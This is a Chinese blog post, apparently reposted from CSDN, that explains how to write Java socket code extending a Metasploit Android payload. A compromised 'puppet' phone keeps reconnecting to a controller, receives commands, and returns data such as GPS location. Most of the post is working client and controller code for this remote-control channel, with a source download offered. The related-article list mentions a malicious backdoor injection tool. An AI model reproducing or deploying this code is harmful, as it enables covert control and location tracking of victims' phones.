【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块
/作者:Kali_MG1937
CSDN博客:ALDYS4
QQ:3496925334/
注意!此文章被作者标记到 黑历史 专栏中,这意味着本篇文章可能存在 质量低下,流水账文,笔法低质 的问题
为了防止恁大脑降级,请谨慎观看,,,
强烈建议您转入作者的其他非黑历史专栏进行浏览
本文是由作者于18年初所写,18年底之后逐篇上传至CSDN,存在一系列问题,故转移至黑历史专栏中
Metasploit的安卓载荷模块已经非常完善了,但某些情况下,该模块还有一些我需要却没有的功能
既然不能通过反编译载荷来修改代码,那不如干脆制作一个框架来容纳这些不足
开始构思
框架要怎么实现傀儡机和控制机的互通
最简单的方法就是利用java的Socket类来实现两者的交流
工具已经选择好了,那么怎么实现?
预想:
无论何时,只要傀儡机启动(载荷),控制端都能完美接收
无论何时,只要控制端在线,都能准确接收傀儡机通讯
这是完美的情况,可具体怎么实现?
开始工程
假设:
傀儡机建立一个Socket链接
Socket socket=new Socket(ip,port);
我们知道当socket成功被建立时才会让socket获取实例
反过来说,如果链接建立失败(如对方不在线,端口没被监听等等情况),socket就是null
那么就好办了
傀儡机:
循环检测socket,若不为null时
就向控制端发送心跳包,若对方成功接收就隔一秒再次发送,
如果控制端一旦下线,傀儡机发送心跳包时就会抛出错误,抛出错误时再次建立socket链接
编写出对应代码:
new Thread(new Runnable(){
@Override
public void run()
{
while(true){
try
{
if (socket != null)//检查socket是否为null,若不是,执行下一句
{
try
{
socket.sendUrgentData(0xFF);//发送心跳包,若发送失败,抛出错误
}
catch (IOException e)
{
socket=new Socket(ip, 1557);//抛出错误时重新建立socket链接
}
}else{
socket=new Socket(ip, 1557);//若socket为空,再次建立链接
}
}
catch (IOException e)
{}
try
{
Thread.sleep(1000);//时隔一秒
}
catch (InterruptedException e)
{}
}
}
}).start();
这里我用一个线程封装了全过程
傀儡机保证socket稳定的代码已经实现
接下来实现交流
如何实现傀儡机与控制端的交流?
当然是利用InputStream类来实现
同样封装在一个线程里,方便调用
实现代码:
thread= new Thread(new Runnable(){
@Override
public void run()
{
try{
InputStream in=socket.getInputStream();
int len;
byte[] b=new byte[1024];
while ((len = in.read(b)) != -1)
{
String cmd=new String(b,0,len);
}
}
catch (IOException e)
{}
}
});
还有一个问题,我们知道socket链接随时可能丢失(如控制端下线),
就算我保证了链接在丢失后能在任何时刻重连,但socket断开后,当前的socket会话不可能保留,
也就是说,如果仅仅让InputStream读取一遍socket链接的内容是不可取的
那怎么办呢?
我之前利用发送心跳包已经实现了保证socket重连,那就再在这个方法是进行改进,
我们知道线程启动后是不能再次启动的,除非线程已死,才能再次调用run()方法使线程重新运转
那么思路就清晰了:
发送心跳包后检查读取socket内容的线程是否死亡,如果死亡,
检查线程是否是新建立的线程,如果是,则调用start()方法,如果不是,则调用run()方法
在之前的基础上实现代码:
socket.sendUrgentData(0xFF);//发送心跳包,若发送失败,抛出错误
if(!thread.isAlive()){//判断线程死活
if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
thread.start();}
else{thread.run();}
接着实现服务不死就差不多完成傀儡机了
要实现服务不死可以利用通知栏提升服务优先级,这里就粗略讲一下
实现一些控制傀儡机操作的方法就先不讲了,
因为我这里主要讲的是socket的运用
在文章底我会放上源码
控制端:
既然傀儡机的代码实现了,那么控制端的代码对照着写就行
写法如出一辙
保证socket稳定仍然利用发送心跳包
不过有一点不同的就是要让socket获取实例,
必须要先监听端口
ServerSocket serverSocket=new ServerSocket(port);
socket=serverSocket.accept();
获取socket实例后就可以利用发送心跳包的方法判断存活了
这里我把获取与傀儡机联系的代码一并放出
public void sendShell(){
new Thread(new Runnable(){
@Override
public void run()
{
try
{
if(socket!=null){
OutputStream os=socket.getOutputStream();
os.write(send.getBytes());
os.flush();
outPuts("向目标发送了命令:"+send);}
else{outPuts("socket还未获取实例对象");}
}
catch (IOException e)
{toast("目标没有接收到心跳包,可能已下线");
outPuts("目标没有接收到shell");}
// TODO: Implement this method
}
}).start();
}
public void bindPort(){
new Thread(new Runnable(){//建立一个用来接收tcp的线程
@Override
public void run()
{try
{
serverSocket = new ServerSocket(port);//建立端口的监听
socket = serverSocket.accept();
toast("接收到Tcp包:From "+socket.getInetAddress().toString());
outPuts("目标:"+socket.getInetAddress().toString()+"连接至本机");
}
catch (IOException e)
{}//放行端口
// TODO: Implement this method
}
}).start();
}
public void socketTcp(){
final Thread thread;
thread = new Thread(new Runnable(){
@Override
public void run()
{try
{
InputStream in=socket.getInputStream();
int len;
byte[] b=new byte[1024];
while((len=in.read(b))!=-1){
outPuts(new String(b,0,len));
}
}
catch (IOException e)
{}
// TODO: Implement this method
}
});
new Thread(new Runnable(){//检查socket是否开启
@Override
public void run()
{while(true){
if(socket!=null){
try
{
socket.sendUrgentData(0xFF);//发送心跳包
if(!thread.isAlive()){
if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
thread.start();}else{thread.run();}}
}
catch (IOException e)
{//若跑出异常,执行下一句
try
{
toast("对方似乎下线,重连...");
//outPuts(socket.getInetAddress().toString()+" 下线");
socket = serverSocket.accept();
outPuts(socket.getInetAddress().toString()+" 重连至本机");
toast("重连成功");
}
catch (IOException e1)
{}
}
}
try
{
Thread.sleep(1000);
}
catch (InterruptedException e)
{}
}
}
}).start();
}
这样就完成了
编译工程,实现效果
我这里实现了一些控制代码
如向傀儡机传入runGps和getGps
就能获取傀儡机位置信息

把metasploit安卓载荷的代码反编译,与傀儡机软件结合,就实现了进一步完善安卓载荷的目的

接下来放上源码
百度云:
Metasploit安卓载荷辅助框架
【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块的更多相关文章
- 【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell
/QQ:3496925334 作者:MG193.7 CNBLOG博客号:ALDYS4 未经许可,禁止转载/ 关于metasploit的安卓模块,前几次的博客我已经写了相应的分析和工具 [Android ...
- Android编程心得-在任意类中获取当前屏幕宽高
进行Android编程时,很多时候都需要获取当前屏幕的宽度与高度,但是当我们需要在别的类中调用屏幕宽高时,直接用原来的方法是不行的,下面我来介绍如何在任意类中调用宽度高度的两种方法. public v ...
- c#与JAVA利用SOCKET实现异步通信的SanNiuSignal.DLL已开源
大家好,前段时间C#的SanNiuSignal.DLL已开源;因部分用户特需要JAVA版的SanNiuSignal;现在只能把半成品先拿出来暂时给他们用了,以后再慢慢改进; JAVA版目前已实现跟C# ...
- Android 使用java.net.socket 的接收问题
// 初始化socketsocket = new Socket(InetAddress.getByName(sip), sport);InputStream sin = socket.getInput ...
- Android编程 高德地图 AMapLocationClientOption 类中 setWifiActiveScan过时
高德地图中 定位包中有以下方法: AMapLocationClientOption 类中 setWifiActiveScan 过时 isWifiActiveScan public boole ...
- 使用Java的Frame类编写的QQ登录界面
public static void main(String[] args) { Frame f = new Frame(); //关闭窗体 f.addWindowListener(new Windo ...
- 【Android编程】Java利用apktool编写Metasploit恶意后门注入工具
/声明:本文作者Kali_MG1937 csdn博客id:ALDYS4 QQ:3496925334 未经许可禁止转载!/ 注意,本文为作者从CSDN搬迁至此的文章 注意!此文章虽然 未被 作者标记到 ...
- 浅谈JAVA中如何利用socket进行网络编程(二)
转自:http://developer.51cto.com/art/201106/268386.htm Socket是网络上运行的两个程序间双向通讯的一端,它既可以接受请求,也可以发送请求,利用它可以 ...
- 浅谈JAVA中如何利用socket进行网络编程(一)
转自:http://developer.51cto.com/art/201106/268385.htm Socket是网络上运行的两个程序间双向通讯的一端,它既可以接受请求,也可以发送请求,利用它可以 ...
随机推荐
- 【mybatis】mybaits generator 逆向工程的使用
mybatis逆向工程官方网站:http://www.mybatis.org/generator/quickstart.html 准备xml文件.如下generator.xml全部内容 <?xm ...
- 设计一个对象池(Anno.XObjectPool)
设计一个.net对象池 对象池对于创建开销比较大的对象来说很有意义,为了优化程序的运行速度.避免频繁创建销毁开销比较大的对象,我们可以通过对象池来复用创建开销大的对象.对象池的思路比较简单,事先创 ...
- C#中的元组(Tuple)和结构体(struct)
在正常的函数调用中,一个函数只能返回一个类型的值,但在某些特殊情况下,我们可能需要一个方法返回多个类型的值,除了通过ref,out或者泛型集合可以实现这种需求外,今天,讲一下元组和结构体在这一方面的应 ...
- 有关80386cpu在保护模式下的虚拟地址,线性地址和实际物理地址的关系
80386cpu是8086cpu的升级版,其具有32位的寄存器.(32根地址线和32根数据线) 8086cpu其是16位的寄存器但是其地址线有20根,其寻址范围为2的20次方,但是有一个16位的寄存器 ...
- 通过Dapr实现一个简单的基于.net的微服务电商系统(十一)——一步一步教你如何撸Dapr之自动扩/缩容
上一篇我们讲到了dapr提供的bindings,通过绑定可以让我们的程序轻装上阵,在极端情况下几乎不需要集成任何sdk,仅需要通过httpclient+text.json即可完成对外部组件的调用,这样 ...
- C#基础之==(双等于号)与equals()区别
C#中Equals和= =比较 这两种方式也是大家在日常编码工作当中用的比较多的判断方式.之前在使用的时候也没太关注两者在比较不同类型的时候存在哪些区别. 今天就和大家一起深入了解一下其中区别 一.值 ...
- JAVA基础——运算符号
运算符(java) 算数运算符:+,-,*,/,%(取余),++,-- 赋值运算符:= 关系运算符:<, >, >= ,<= ,== , != 逻辑运算符:&& ...
- Linux下script命令录制、回放和共享终端操作script -t 2> timing.log -a output.session # 开始录制
Linux下script命令录制.回放和共享终端操作 [日期:2018-09-04] 来源:cnblogs.com/f-ck-need-u 作者:骏马金龙 [字体:大 中 小] 另一篇终端会话共 ...
- CentOS/Linux内存占用大,用Shell脚本自动定时清除/释放内存
CentOS/Linux内存占用大,用Shell脚本自动定时清除/释放内存来自:互联网 时间:2020-03-22 阅读:114以下情况可能造成Linux内存占用过高服务配置存在直接分配错误,或隐性分 ...
- Git-【技术干货】工作中Git的使用实践
Git-[技术干货]工作中Git的使用实践 置顶 2019-09-17 21:02:16 web洋仔 阅读数 11444更多 分类专栏: Git 版权声明:本文为博主原创文章,遵循CC 4.0 B ...